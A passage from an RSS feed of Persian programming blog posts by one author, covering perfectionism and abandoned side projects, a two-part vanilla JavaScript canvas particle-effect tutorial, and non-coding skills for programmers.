رها شده اندبا دیدن اینها خیلی حالم بد شد. چند لحظه فقط تو ذهنم تصور کردم که اگه این پروژه ها به ثمر می رسید، تا الان گوگل بهم پیشنهاد کار داده بود (نمیگم خیلی پروژه های شاخی تو ذهن داشتم ولی ممکن بود که recruiter های گوگل با دیدن کثرت پروژه هام از سخت کوشی من خوششون بیاد خخخ)البته شاید هم منجر به گرفتن پیشنهاد کار نمیشدن، اما حداقل می تونستن در رزومه من قرار داشته باشن ولی حالا چی؟؟ شده اند یه مشت فایل به درد نخور که فقط دارن جا اشغال می کنند. من فرصت طلایی برای توسعه شون رو از دست دادم. باید تو دوران راهنمایی یه حرکت هایی میزدم که نزدم. الان هم که تو دوره دبیرستان هستم، خیلی وقتم تنگه و سرم شلوغ. اون قدر که دیگه نمی تونم وقت زیادی روی side project هام بزارم.وقتی که دنبال علت این همه پروژه های شکست خورده و رها شده میگردم، فقط یک چیز می بینم. اون هم کمالگرایی بیش از حدی هست که من داشتم. شاید باورتون نشه اما من مثل آدم های احمق، فرانت یکی از سایت هایی که تابستون داشتم روش کار می کردم رو 3 بار از صفر و هربار با یک framework و library و معماری جدید و همچنین theme و design جدید نوشتم. این حرف هایی که زدم شاید به نظرتون مبالغه بیاد ولی کاملا عین حقیقته. دلم می خواست یه وب سایت با ظاهری بی نقص، معماری نرم افزاری بی نظیر و خاص بسازم و در رزومه ام قرارش بدم.اما حدس می زنید سر اون وبسایت چی اومد؟ اونقدر همه چی تو هم تو هم و پیچیده شده بود که حتی دیگه خودمم از کد هایی که خودم نوشته بودم و معماری که درنظر گرفته بودم برای پروژه سر در نمیاوردم. سر انجام از سر اعصاب خوردی، کل پروژه رو انداختم دور.چاره جوییدیدن اون همه پروژه ناتمام شوک بزرگی به من وارد کرد و من رو وادار کرد که به دنبال چاره ای برای این کمالگرایی بیش از حد خودم باشم. روش های مختلفی رو امتحان کردم اما درنهایت با وضع یه سری قوانین وضعم بهتر شد (اما هنوز اون وسواس ذهنی سر جاش هست). فاز بندی پروژههنگام توسعه پروژه ممکنه ایده های زیادی به ذهنتون برسه و به سرتون بزنه که حتما پیاده سازی شون کنید. اگه همینطوری هرچی به ذهنتون رسید رو بی حساب و کتاب پیاده سازی کنید هیچ وقت پروژه تون تموم نمیشه چون همش با ایده های جدیدتون کار رو سر خودتون خروار می کنید. برای حل این قضیه، پروژه رو حتما فاز بندی کنید و در هر فاز یه سری از ایده هاتون رو پیاده سازی کنید. تعداد feature های هر فاز باید مشخص باشه به طوری که در هر لحظه بتونید پیشروی تون رو درصدی اندازه بگیرید. هر ایده جدیدی رو به فاز های بعدی منتقل کنید. وقتی فاز فعلی تموم شد اون وقت تصمیم بگیرید که آیا واقعا ارزش پیاده سازی دارند یا نه.پیاده سازی ساده ترین راه حل های ممکنوقتی می خواهید یه feature ای رو پیاده سازی کنید، سراغ ساده ترین راه حلی برید که به ذهنتون میرسه و اون رو به ساده ترین شکل ممکن پیاده سازی کنید. اینطوری بعدا refactor کردنش هم ساده است. حتی اگه لازم شد می تونید بعدا از اول بنویسیدش اما در ابتدای کار شما فقط باید روی پیشروی کار ها متمرکز باشید. یادتون باشه اگه تلاشتون حاصلی نداشته باشه انگار هیچ کاری نکردید.انجام بهینه سازی راه حل ها در انتهای کارممکنه یه راه حلی رو پیاده سازی کنید و به خوبی هم کار کنه ولی یهو یه راه حل تمیز تر به ذهنتون برسه. در اینجا دو حالت پیش میاد. یا واقعا لازمه یا دارید کار الکی انجام میدید. در این مواقع اگر می بینید که ممکنه در آینده با راه حل فعلی به مشکل بخورید اون جدیده رو پیاده سازی کنید وگرنه بهتره بی خیالش بشید و بقیه کار ها رو پیش ببرید. وقتی تموم شد، اون وقت به این جور کار ها رسیدگی کنید.رها نکردن پروژه فعلیممکنه وسط پروژه حوصله تون سر بره و کلا یه پروژه بهتر به ذهنتون برسه که بخواهید اون رو پیاده سازی کنید. اینجا خیلی از افرادی که مثل من هستن وسوسه میشن و میرن سراغ پروژه بعدی در حالی که پروژه فعلی ناتمام مونده.راهکاری که من برای خودم استفاده می کنم اینه که لیست پروژه هامو روی یه کاغذ می نویسم و میزنمش دقیقا روی دیوار پشت مانیتور کامپیوتر. هر از گاهی چشمم بهشون می افته و یادم نمیره که چه پروژه هایی دارم. اینطوری می تونم پروژه هامو مدیریت کنم و حتی چند پروژه رو همزمان انجامشون بدم بدون اینکه یکی شون عقب بمونه، فراموش بشه و ...این راهکار رو رفتم چون من واقعا نمی تونم سر یه پروژه به مدت طولانی بمونم. کسالت آوره ...این روش برای خودم که تا الان خوب بوده شما رو نمی دونم.امیدوارم پستی که نوشتم به بقیه افراد کمک کنه که اشتباهات من رو تکرار نکنند. راستی اگه راهکار دیگه ای هم سراغ دارید که می تونه کمک کننده باشه، بگید که اضافه کنم. نوشته های دیگه من: https://virgool.io/@mohammadiashkan1384/what-non-technical-skills-does-a-programmer-need-unoqrgvfmo18  https://virgool.io/@mohammadiashkan1384/summery-of-getting-started-as-a-programmer-to-getting-my-first-project-as-a-freelancer-x2j0x0iqm441 </description>
                <category>اشکان محمدی</category>
                <author>اشکان محمدی</author>
                <pubDate>Sun, 09 Jan 2022 09:28:17 +0330</pubDate>
            </item>
                    <item>
                <title>چطور با جاوا اسکریپت یک Particle System باحال بسازیم #2</title>
                <link>https://virgool.io/Events-IR/how-to-create-a-great-particle-system-in-javascript-eqv7armawp3p</link>
                <description>سلام خدمت شما دوستان عزیز. انشاالله که سالم و تندرست باشید. در قسمت قبلی این مقاله، با نحوه ایجاد و حرکت particle ها روی canvas و همچنین چگونگی ترسیم خط بین particle های نزدیک آشنا شدیم. اگر مقاله قبلی رو نخونده اید پیشنهاد می کنم که حتما اول اون رو بخونید چون این مطلب کلا ادامه همون قبلیه: https://virgool.io/@mohammadiashkan1384/how-to-create-a-simple-particle-effect-in-javascript-tqwpz4hiajdf خوب حالا امروز، می خواهیم این رو:تبدیلش کنیم به این:مجبور شدم کیفیتش رو بیارم پایینمن در مقاله قبلی، سعی کردم که پله به پله مراحل کار رو توضیح بدم چون اصل کاری اونها بودن. اگر پا به پای من اومده باشید، چیز هایی که در ادامه قرار بگم فقط یه مشت ریزه کاریه که زیاد طول نمی کشه.قبل اینکه شروع کنیم، بهتره که مروری گذرا بر اهدافمون داشته باشیم:قراره که خطوط ترسیم شده بین particle ها رنگ های random داشته باشند و بعد هر render این رنگ ها تغییر کنند.قراره که بین particle هایی که به هم نزدیک تر اند، خطوط پررنگ تری نسبت به particle هایی که از هم دور هستند رسم بشه.رنگ های رندوم RGBاین که قاعدتا زیاد کار سختی نیست، اول از همه یه تابع helper تعریف می کنیم که با اون به سهولت رنگ RGB بگیریم:در این قطعه کد داریم برای مقادیر r, g و b یه سری عدد رندوم بین 0 تا 256 در نظر میگیریم و در یک template string قرار میدیم و همون رو به عنوان حاصل برمیگردونیم. یه پارامتر opacity هم داریم که شفافیت رنگ ما رو تعریف می کنه. قراره بر اساس فاصله بین particle ها، مقدار opacity رو تنظیم کنیم:همون قبلیه، ولی الان داریم از getRandomRGBColor استفاده می کنیم تا هربار یک رنگ شانسی برای خط مون بگیریم و از اون رنگ در strokeStyle استفاده می کنیم. نکته ای که وجود داره اینه که ما داریم از این فرمول برای محاسبه opacity خط استفاده می کنیم:(r1 + r2 - d)/d من در ادامه جزئیات این تیکه رو برسی خواهم کرد. می تونید همین الان کپی و پیست کنید و خودتون رو راحت کنید. حتی می تونید ادامه مطلب رو رد کنید اما اگر می خواهید راجع به جزئیاتش بدونید، در ادامه توضیح خواهم داد. خوب اول بزارید بریم سراغ این بخشr1 + r2 -dچیزی که این بخش بهمون میده اینه:متاسفانه من بلد نیستم انیمیشن بسازم، ولی خوب شما فرض کنید که دایره هایی که توی شکل هستند دارن به هم نزدیک و نزدیک تر میشن (یا بهتره بگم که بیشتر تو هم فرو میرن)، در این صورت بزارید برسی کنیم که چه اتفاقی برای نقطه A و B و در نتیجه پاره خط AB می افته.نکته: نقطه های O و &#x27;O در مرکز دایره ها، خود particle های ما هستند. البته درسته که particle ها هم دایره اند و شعاع دارند، ولی اون قدر این شعاع کوچیکه که می تونیم چشم پوشی کنیم و اون ها رو نقطه روی صفحه در نظر بگیریم.دایره ها هم حاصل همون شعاع فرضی هست که خودمون در نظر گرفتیم، یعنی 40 برابر شعاع particle هااگر نقطه O و &#x27;O به هم دیگه نزدیک بشن، اون وقت نقطه A به &#x27;O و نقطه B به O نزدیک تر میشه، این روند اون قدر ادامه پیدا می کنه تا A روی &#x27;O و B روی O منطبق بشه (زمانی اتفاق می افته که شعاع دایره ها دقیقا از مرکز هم دیگه رد بشن)، اون وقت طول پاره خط AB با &#x27;OO برابر میشه.حالا اگه این دایره ها باز هم بیشتر توی هم فرو برن، اون وقت دیگه طول AB از &#x27;OO هم بیشتر میشه:پس به طور کلی، 3 حالت پیش میاد:1. طول AB از &#x27;OO کوچیک تره (تازه دایره ها شروع کرده اند به برخورد)2. طول AB با &#x27;OO برابره (دایره ها تقریبا تا نصفه تو هم فرو رفته اند)3. طول AB از &#x27;OO بیشتره (دایره ها از نصف بیشتر تو هم فرو رفته اند)حالا بزارید برگردیم سر اصل قضیه:(r1 + r2 - d) / dدر حالت اول، این نسبت از 1 کوچیک تره، در نتیجه opacity ما مقداری بین 0 تا 1 خواهد بود (بسته به دوری یا نزدیکی particle کم و زیاد میشه).در حالت دوم، نسبت برابر با 1 هست، یعنی اگر particle ها به اندازه کافی به هم نزدیک بشن که روی شعاع همدیگه قرار بگیرن، خط کامل با opacity با مقدار 1 رسم میشهدر حالت سوم، دیگه نسبت از 1 هم بالا تر میره. تاثیرش دقیقا مثل حالت دوم هست و باعث میشه که خط کاملا پر رنگ رسم بشه (معادل opacity با مقدار 1). در این حالت، دو particle دیگه روی شعاع نیستن، داخل دایره فرضی همدیگه قرار گرفته اند*نتیجهحالا دیگه کارمون تمومه و آماده ایم که کد رو اجرا کنیم. نتیجه ای که حاصل میشه این خواهد بود:امیدوارم که این مطلب براتون مفید واقع شده باشه. اگر خوشتون اومد لایک فراموش نشه. همچنین اگر وقت کردید سری به بقیه مطالبم هم بزنید. شاید خوشتون بیاد: https://virgool.io/@mohammadiashkan1384/summery-of-getting-started-as-a-programmer-to-getting-my-first-project-as-a-freelancer-x2j0x0iqm441  https://coderlife.ir/a-great-notification-system-in-svelte-js-pgjncbcio8br  https://virgool.io/@mohammadiashkan1384/4-tips-to-create-better-scripts-in-python-ul4ghbetonny  https://virgool.io/Only-js/a-brief-introduction-to-svlete-js-framework-kv7dioufrwol </description>
                <category>اشکان محمدی</category>
                <author>اشکان محمدی</author>
                <pubDate>Thu, 16 Dec 2021 08:39:15 +0330</pubDate>
            </item>
                    <item>
                <title>چطور با جاوا اسکریپت یک Particle System باحال بسازیم #1</title>
                <link>https://virgool.io/Events-IR/how-to-create-a-simple-particle-effect-in-javascript-tqwpz4hiajdf</link>
                <description>سلام خدمت شما دوستان عزیز. بالاخره امتحانات آذرماه تموم شد و یه فرصتی پیدا کردم که پست مورد نظرم رو بنویسم براتون. امیدوارم خوشتون بیادچند وقت پیش داشتم توی گیتهاب میچرخیدم که به همچین پروژه ای برخورد کردم: https://github.com/VincentGarreau/particles.js/ و کلا خیلی ازش خوشم اومد، پس تصمیم گرفتم خودم یه بار تنهایی برای یادگیری پیاده سازیش کنم. اینم پروژه ای که من از روش زدم (مخصوص اونایی که می خوان یه راست برن تو دل کد): https://github.com/Amohammadi2/particles-effect قراره یه همچین چیزی بسازیم این بار ?من که خیلی چیزا از انجام دادن این پروژه یاد گرفتم و امیدوارم برای شما هم همینطور باشه. در این آموزش قرار نیست هیچ فریمورک جاوا اسکریپتی استفاده بشه و برای سادگی کار صرفا از جاوا اسکریپت وانیلی (vanilla JavaScript) استفاده خواهد شد.شروع پیاده سازیخوب برای شروع به یکم html نیاز داریم:که خوب چیز خاصی هم نیست. فقط یه canvas داره و بقیه اش چیزای معمولیه که توی هر صفحه html ای هست. راستی این canvas ما یه سری style هم داره:اول از همه برای اینکه margin یا padding های default مزخرفی که مرورگر ها برای body یا کلا تگ html ممکنه در نظر بگیرن رو از بین ببریم، اون ها رو روی 0 تنظیم می کنیم.بعد هم canvas مون رو full screen میکنیم و background اش رو به رنگ مشکی درمیاریم، همین.حالا که پیش نیاز های پروژه مون حاضره می تونیم بریم سراغ اصل کار، یعنی javascript!آماده سازی بوم نقاشی! (canvas)قبل اینکه شروع کنیم، باید یه سری کار انجام بدیم که canvas مون ردیف بشه.تعريف ثوابت global لازمقبل پیاده سازی، اول بزارید global هامون رو تعریف کنیم:قراره از ctx خیلی استفاده کنیم. ctx بهمون دسترسی به یه سری API برای نقاشی آزادانه روی canvas رو میده. می تونم بگم که با method هایی که داره هرچیزی که تو ذهنتون بگنجه میشه رسم کرد، حتی اگه بلد باشید می تونید گرافیک سه بعدی رسم کنید (البته ریاضیاتش دیگه با خودتونه)سینک نگه داشتن طول و عرض canvasوقتی که پنجره مرورگر resize میشه، کلا مقیاس canvas مون به هم می ریزه و کار خراب میشه، پس مهمه که هم طول و هم عرض canvas رو با طول و عرض پنجره مرورگر sync نگه داریم. برای اینکار چنین تابعی تعریف می کنیم که کمکمون کنه:و این چنین ازش به عنوان event listener استفاده می کنیم:پیاده سازی کلاس Particleقراره از این کلاس برای ساختن particle استفاده کنیم. این کلاس قادره که particle رو رسم کنه و حرکت بده. خوب اول بریم سراغ constructor اشخوب، همون طور که میبینید constructor چهار تا پارامتر دریافت می کنه، اول از همه موقعیت اولیه particle روی محور x و y در canvas و بعد شعاع دایره و در نهایت direction یا همون جهت حرکت particle رو دریافت میکنه. می تونید تا به اینجا، نحوه ایجاد object از روی این کلاس رو اینطور فرض کنید:new Particle(100,  200, 0.5, {
x: 10
y: 4
});ترسیم دایرهبرای رسم دایره، یک متد به نام draw ایجاد میکنیم که قراره از پارامتر های x، y و radius استفاده کنه تا دایره رو رسم کنه:حالا بزارید دقیق و خط به خط بهتون توضیح بدم که چه اتفاقی داره میوفته:ctx.beginPath();مثل این هست که بگیم قلم رو بزار رو کاغذctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2, false);بعد یک کمان 360 درجه رسم کنتوضیحات بیشتر راجع به پارامتر ها:در این قسمت، x و y مختصات مرکز کمان دایره هستندپارامتر سوم (this.radius) میشه شعاع کمانپارامتر چهارم، زاویه شروع ترسیم کمان هست. وقتی میگیم زاویه 0، منظورمون زاویه 0 درجه دایره مثلثاتی هست که ترسیم کمان باید از اونجا شروع بشهپارامتر پنجم هم زاویه اتمام ترسیم کمان هست. از اونجایی که می خواهیم یه کمان 360 درجه رسم کنیم (دایره)، مقدار این پارامتر باید برابر با 2Pi باشه، چون واحد هر دو زاویه شروع و پایان، برحسب رادیان هست. برای اینکه متوجه بشید که چطور به 2Pi رسیدیم، انیمیشن زیر رو ببینید:منبع: ویکی پدیا عزیزپارامتر آخر هم که جهت ترسیم کمان رو مشخص میکنه، اگه false باشه کمان ساعتگرد و اگه true باشه کمان پادساعتگرد رسم میشه (که در این مورد زیاد فرقی نمی کنه true باشه یا false چون داریم دایره رسم میکنیم)خوب، بریم سراغ خط بعدی:ctx.fillStyle = &amp;quot#fff&amp;quotدر اینجا داریم رنگ دایره رو تعیین میکنیم (fillStyle رنگ داخل دایره است)، اما این فقط انتخاب رنگ قلم هست، برای اینکه اعمال بشه باید fill رو فراخوانی کنیم:ctx.fill();حالا دایره رنگ شد ?ctx.closePath();این هم مثل این هست که بگیم &quot;لطفا قلم رو از روی canvas بردار&quot;. اگه این کار رو نکنیم همه دایره ها با خط هایی به هم وصل میشن، طوری که انگار هر دایره ادامه قبلیه. دقیقا مثل وقتی که میخواهید اسم و فامیلتون رو بدون برداشتن خودکار از روی کاغذ بنویسید.سربارگذاری اولیه particle (همون initialization)این کار ضروری نیست ولی من کرم دارم و می خوام یکم پیچیده اش کنم:وقتی این متد از کلاس Particle رو فراخوانی کنید، particle فقط رسم میشه اما موقعیت و ... آپدیت نمیشن، این رو فقط برای رسم particle در frame اول نیاز داریم. همین (حتی اگه می خواهید می تونید حذفش کنید تاثیر خاصی نمیزاره)حرکت particle هابریم یه تکونی به particle های عزیز بدیم. برای اینکار متدی به نام update میسازیم:با آپدیت کردن مقادیر x و y به صورت پیوسته، particle رو حرکت میدیم و البته حواسمون هم هست که از canvas نزنه بیرون. اگه از سمت راست بخواد بزنه بیرون x &gt; cnvs.width میشه، اگه از سمت چپ بخواد بزنه بیرون x &lt; 0 میشه، اگر از سمت پایین بخواد بزنه بیرون y &gt; cnvs.height میشه، اگر هم بخواد از بالا بزنه بیرون y &lt; 0 میشه. پس طبق چیزایی که گفتم، چنین شرط هایی رو میزاریم که جهت حرکت رو در هر حالت برعکس کنند، اینطوری particle به هر طرفی برخورد کنه، در خلاف همون جهت برمیگرده. (مثلا وقتی به دیواره بالا بخوره جهتش برمیگرده رو به پایین و ...):تعریف یه سری ثوابت دیگهدر اولی قراره خود particle ها ذخیره بشن، چون قراره در تمام طول اجرا شدن effect کلی باهاشون پردازش انجام بدیم.دومی تعداد  particle هایی که می خواهیم داشته باشیم رو مشخص می کنه (هرمقدار دلخواهی می تونه باشه)سومی هم سرعت particle هاست، واحدش هم نمی دونم چیه خودتون باهاش وربرید تا به یه سرعت مناسب برسید.ایجاد و ترسیم Particle هاحالا که کلاس Particle تکمیل شده، وقتشه که ازش استفاده کنیم:نتایج فعلیتاحالا هیچ چیز خاصی اتفاق نیوفتاده، فقط یه سری نقاط ثابت روی صفحه خواهیم داشت:انگار آسمون شبهحرکت دادن نقاطبرای update کردن موقعیت particle ها به طول مداوم، تابعی مثل این تعریف می کنیم. علت این که این قسمت رو جدا نوشتیم اینه که می خواهیم از requestAnimationFrame استفاده کنیم که اطلاعات مربوط به اون رو در این لینک می تونید مشاهده کنیددر این تابع، ما اول با clearRect میایم و کل canvas رو پاک می کنیم تا نتایج قبلی پاک بشن و جدید ها جای اون ها رو بگیرن. بعد هم موقعیت particle ها رو یکی یکی update میکنیم و با اینکار حرکتشون میدیم. همینما باید مدام playParticles رو فراخوانی کنیم. اون طور که من خودم امتحان کردم، با حلقه های بی نهایت به جایی نمی رسید. مرورگر به خاطر بلاک شدن thread توسط شما گیر می ده و کاربر رو مجبور میکنه که مرورگر رو ببنده. در ضمن، در این مدت هیچ کد جاوا اسکریپت دیگه ای نمی تونه اجرا بشه. با recursive call هم می تونید فوقش 10000 با تابع رو به طور recursive فراخوانی کنید، بعدش دیگه جاوا اسکریپت نمیزاره ادامه بدید و ارور میده ... تنها راهی که وجود داره برای اجرای پشت سر هم و بی نهایت یه سری کد، همین تابع requestAnimationFrame هست. نه مرورگر بهتون گیر میده، نه صفحه وب هنگ می کنه و نه performance پایین میاد (البته این مورد نهایی بستگی به نحوه کد نوشتن خودتون هم داره)نتایج فعلیالان اون نقاط ثابت درحال حرکت هستند:الان شده اند مثل ریزگرد های تو هواترسیم خط بین particle های نزدیکخوب دیگه، داریم به آخر کار نزدیک میشیم. تا الان کل فوندانسیون کار ریخته شده و اصل کار رو تا حالا انجام داده ایم. حالا باید بین particle هایی که به هم نزدیک اند خط ترسیم کنیم.برای این کار، تابعی به نام lineToNearParticles رو تعریف می کنیم که قراره یک particle رو بگیره و به particle هایی که در نزدیکی شعاعش هستند خط ترسیم کنه:اول particle رو میگیریم و یکی یکی میریم سراغ بقیه particle ها و فاصله particle مون رو با تک تک particle های دیگه محاسبه می کنیم. توجه کنید که این محاسبات خیلی زیاده (فکر کنم پیچیدگی O(n^2) داشته باشه) و نمی تونید از یه حدی بیشتر particle تعریف کنید وگرنه انیمیشن تون هنگ میکنهمحاسبه فاصله بین دو particle از طریق رابطه فیثاغورس حساب شده. به این صورت که اول اختلاف مختصات x شون و بعد اختلاف مختصات y شون محاسبه میشه، سپس از طریق جذر گرفتن از مجذور مجموع این دو مقدار، فاصله مستقیم دو نقطه حاصل میشه. اطلاعات بیشتر در این صفحهحالا بریم سراغ تشخیص اینکه آیا اصلا این دو تا particle به هم دیگه نزدیک اند یا نه. قراره یک شعاع فرضی برای همه particle ها در نظر بگیریم که 40 برابر شعاع اصلی شونه. حالا اگه کمان های شعاع particle ها به هم برخورد کنند، معلوم میشه که به هم نزدیک اند. اما حالا چطور بفهمیم که شعاع فرضی که براشون در نظر گرفته ایم با هم برخورد می کنند یا نه؟ از طریق نامساوی زیر:r1 + r2 &gt; dکه در اینجا r1 و r2 به ترتیب، شعاع particle اول و دوم هستند و d هم فاصله مستقیم بین این دو particle رو نشون میده. خوب اگه مجموع شعاع هاشون از فاصله شون بیشتر بشه، شعاع هاشون هم به هم برخورد میکنه. خوب از طریق اصل بالا بقیه کد رو می نویسیم:تنها نکته ای که به ذهنم میرسه اینه که اگر متوجه شده باشید، strokeStyle و stroke به جای fillStyle و fill استفاده شده، دلیلش هم اینه که خط مساحت نداره که توش رو بخواهیم با fill رنگ کنیم. برای رنگ کردن خط باید از stroke استفاده کنیم (در اشکال دوبعدی، این کار باعث رنگ شدن محیط شکل میشه (همون اضلاع))استفاده از اون در تابع playParticlesو حالا نتیجه میشه این:خوب، دقیقا اون چیزی که می خواستیم نشده هنوز. خط ها هیچ کدوم انیمیشن ندارن و همه چی خشک و خالیه و هیچ interaction ای وجود نداره اما تا همینجاش کافیه. نمی خوام بیشتر از این مطلب طولانی بشه.در نوشتن این مطلب این طور فرض کردم که مخاطب یک فرد مبتدی هست و سعی کردم تا جایی که توانش رو داشتم راجع به همه جزئیات توضیح بدم و تا جایی که میشد مطالب رو واضح بیان کنم. اگر این مطلب براتون مفید بود، با یه لایک به من انرژی بدید که انشاالله سری دوم این مقاله رو هم زودتر بنویسم.تا مقاله بعدی فعلا خدانگهدار!</description>
                <category>اشکان محمدی</category>
                <author>اشکان محمدی</author>
                <pubDate>Mon, 06 Dec 2021 11:16:50 +0330</pubDate>
            </item>
                    <item>
                <title>یک برنامه نویس به چه مهارت هایی به غیر کد نوشتن احتیاج داره؟</title>
                <link>https://virgool.io/@mohammadiashkan1384/what-non-technical-skills-does-a-programmer-need-unoqrgvfmo18</link>
                <description>سلام دوستان. بالاخره بعد مدت ها تونستم یه زمانی گیر بیارم که دوباره یک مقاله در ویرگول بنویسم و از این بابت خیلی خوشحالم. توی این پست می خوام راجع به مهارت هایی حرف بزنم که به نظر من یک برنامه نویس باید اون ها رو هم در کنار مهارت های کد نویسی اش پرورش بده.دانش فنی یک برنامه نویس راجع به یک framework بسیار مهم است اما کافی نیست. مهارت های دیگه ای هم هست که به برنامه نویس در کارش کمک می کنند. در ادامه، من لیستی از مهارت هایی که فکر می کنم خیلی کمک کننده و بعضا حیاتی هست رو ارائه خواهم کرد. خوشحال میشم اگر شما هم چیزی به ذهنتون رسید، در بخش کامنت ها به من بگید.مهارت کار با اپلیکیشن های interface design مثل figma و امثالهماگر خیلی با کار های front-end سر و کار دارید (چه web و چه پلتفرم های native مثل android و ios)، یادگیری اپلیکیشن های app interface design می تونه خیلی در ساخت نمونه اولیه بهتون کمک کنه. مثلا اگر شما به صورت فریلنسری و تنها کار می کنید، می تونید از prototype (نمونه اولیه) هایی که ساختید برای سنجیدن نظر و نیاز های مشتری هاتون استفاده کنید. اینطوری می تونید مطمئن باشید که طرح front سایتی که دارید براش کلی زحمت می کشید و کد میزنید، مورد پسند مشتری هست و احتمال اینکه نیاز به تغییر اساسی در طرح های سایت باشه کمه.در ضمن اگر با framework های component based مثل react، vue و ... کار می کنید، دیدن نمونه اولیه اپلیکیشن به صورت بصری خیلی بهتون کمک می کنه که ساختار component های اپلیکیشن رو از قبل پیش‌بینی کنید و به عبارت دیگه، در ذهنتون یک plan کد نویسی برای interface اپلیکیشن داشته باشید.البته اگر در یک شرکت کار می کنید و یا در تیمتون یک designer دارید، به عنوان یک برنامه نویس front-end زیاد این مهارت براتون حیاتی نیست اما مزیت های زیادی داره که مطمئنا یه زمانی به دردتون می خوره.ابزاری که من ازش استفاده می کنم، نرم افزار figma هست که کار باهاش خیلی آسونه و اگر قبلا با ابزار های ویرایش عکس و ... کار کرده باشید، خیلی سریع یاد میگیرید که چطور از این ابزار استفاده کنید. البته شما آزاد هستید که از هر ابزاری که باهاش راحت هستید استفاده کنید. مهم اینه که بتونه براتون کار های prototyping رو انجام بده.مهارت تایپ سریع ده انگشتیاین مورد از نون شب هم برای یک برنامه نویس واجب تره، اگر بتونید در تایپ ده انگشتی ماهر بشید، می تونید در زمان پیاده سازی کد هاتون کلی صرفه جویی کنید و سریع تر کد بزنید. از همه مهم تر، خیلی سریع تر می تونید کار document نویسی پروژه (که خیلی هامون، از جمله خودم، از این کار بدمون میاد) رو انجام بدید.برنامه نویس های خفنی رو دیده ام که سرعت تایپشون 170 WPM (یعنی 170 کلمه در دقیقه) هست. واقعا نمی دونم این طور آدم ها چطوری تایپ می کنند، چون خودم تا حالا سرعت تایپم از 70 تا بیشتر نشده ?. اینم مدرکش:https://typetest.io/آخر هفته ها همیشه تمرین می کنم. سرگرمی خوبی هست اما پیشرفت کندی دارم خخخ.تسلط به میان‌بر های keyboardگرفتن کلید های میان‌بر keyboard می تونه در طولانی مدت، ساعت ها زمان براتون صرفه جویی کنه. هرچند یادگیری کلید های میان‌بر کمی سخت هست و کمی طول میکشه که بهشون عادت کنید، اما وقتی که با اون ها خو بگیرید، دیگه نمی تونید بدون اونها زندگی کنید.البته لازم نیست همه میان‌بر های همه اپلیکیشن های کامپیوترتون رو یاد بگیرید، بیشتر روی این ها تمرکز کنید:میان‌بر های پرکاربرد سیستم عامل تون.میان‌بر های پرکاربرد code editor تون، مثل (VS Code و pycharm و sublime و ...)میان‌بر های پرکاربرد مرورگر مورد علاقه تون.مهارت های برنامه ریزی، مدیریت زمان و انضباط فردیاگر توی یک شرکت کار می کنید که بالاخره یه جایی رئیستون گیر میده و به خودتون میاید ...اما اگر دارید به صورت فریلنسری کار می کنید، این مورد رو حتما جدی بگیرید. یکی از خوبی های فریلنسری ساعت های کاری آزاد و منعطف هست اما اگر این آزادی بیش از اندازه باشه براتون مشکل زا میشه. پس حتما برای کارهاتون برنامه ریزی کنید و زمان بندی داشته باشید.البته در انجام این کار هم میانه روی کنید و بیش از حد برنامه ریزی نکنید. برنامه ریزی بیش از حد فقط وقت تون رو میگیره و اکثر مواقع اون چیز هایی که براشون کلی برنامه ریزی کردید، طبق انتظارات شما پیش نمیره. پس اصلا ارزشش رو نداره که ساعت ها روی این وقت بزارید. برنامه شما باید انعطاف پذیری لازم جهت مهار اتفاقات پیش‌بینی نشده رو داشته باشه اما وقتی که بیش از حد طبق فرضیات خودتون پیش برید، به هم خوردن یکی از فرضیات شما باعث به هم ریختن کل برنامه تون میشه.این که شما چطور برای انجام کار هاتون برنامه ریزی و اون ها رو اولویت‌بندی می کنید به خودتون و سلیقه تون بستگی داره. یکی ممکنه کاغذ و خودکار رو ترجیح بده، در حالی که دیگری ممکنه از نرم افزار های digital استفاده کنه. اما هدف یکی هست.مهارت توضیح سناریو های پیچیده از طریق مکالمهخیلی وقت ها پیش میاد که بقیه برنامه نویس های تیم در کار با چیزی که ساخته اید مشکل داشته باشن، مثل زمانی که برنامه نویس های front می خوان کلاینت رو به API های سرور وصل کنند.شاید رفتار بعضی از end-point های API به راحتی قابل پیش‌بینی نباشه یا شاید نکاتی راجع به پارامتر های API وجود داره که باید توسط خود توسعه دهنده API به برنامه نویس های front توضیح داده بشه. در این مواقع، شما باید بتونید قسمت های پیچیده API رو به خوبی به بقیه توضیح بدید و دانش مورد نیاز رو انتقال بدید.مهارت های document نویسیخیلی هامون از این بدمون میاد اما document های پروژه خیلی مهم هستند. مثلا اگر بخواهید یک نفر جدید رو در تیم استخدام بکنید، داشتن document های پروژه، پروسه یاد دادن عملکرد قسمت های مختلف پروژه رو به عضو جدید تیم خیلی تسهیل می کنه. البته لازم نیست تمام جزئیات پروژه رو پوشش بدید. مثلا اگر به عنوان یک برنامه نویس back-end دارید document های API رو برای برنامه نویس های front-end می نویسید، ارائه یه سری اطلاعات کلی راجع به API و پارامتر هاش + چند تا نکته مهم + چند مثال کاربردی می تونه کار تیم front رو راه بندازه.این document ها رو لازم نیست دستی بنویسید چون ابزار های خوبی برای auto-generate کردنشون وجود داره. مثلا من برای ساخت document برای API هایی که با Django Rest Framework ساخته ام از swagger و پکیج django spectacular استفاده می کنم.مطمئنا معادل همین ها رو در framework های back-end دیگه هم پیدا می کنید.اما اگر دارید document برای برنامه نویس های back-end ای که قراره در آینده به تیم اضافه بشن می نویسید، بهتره اصلا ننویسید ? چون واقعا به زمانی که باید برای آپدیت نگه داشتن شون بزارید نمی ارزه. فقط بین کد هاتون هرجایی که واقعا لازم بود، کامنت بزارید. یا اگر خیلی به document نویسی اعتقاد دارید، حداقل document هاتون رو لا به لای کد ها بنویسید. (مثلا اگر با python کار می کنید، از docstring ها استفاده کنید، یا مثلا اگر با js کار می کنید از jsdoc استفاده کنید و ...) اینطوری حداقل update نگه داشتن شون راحت تره.باز هم تاکید می کنم که نیازی به شرح تمام جزئیات در document نیست! نزارید کسی فوت و فن های خفن تون و HACK هایی که به کار بردید رو درک کنه ?? (خودتون منظورم رو بهتر می فهمید ...)خیلی ممنون که تا انتهای مطلب رو خوندید (یا scroll کردید). اگر چیز دیگه ای به ذهن تون رسید، در کامنت ها بهم بگید. تا پست بعدی فعلا خدانگهدار!</description>
                <category>اشکان محمدی</category>
                <author>اشکان محمدی</author>
                <pubDate>Fri, 27 Aug 2021 15:07:18 +0430</pubDate>
            </item>
                    <item>
                <title>شما از چه سرویسی برای ارسال ایمیل از طریق smtp استفاده می کنید؟</title>
                <link>https://virgool.io/@mohammadiashkan1384/what-email-service-are-you-using-to-send-emails-trough-smtp-pydrvpbp1ogj</link>
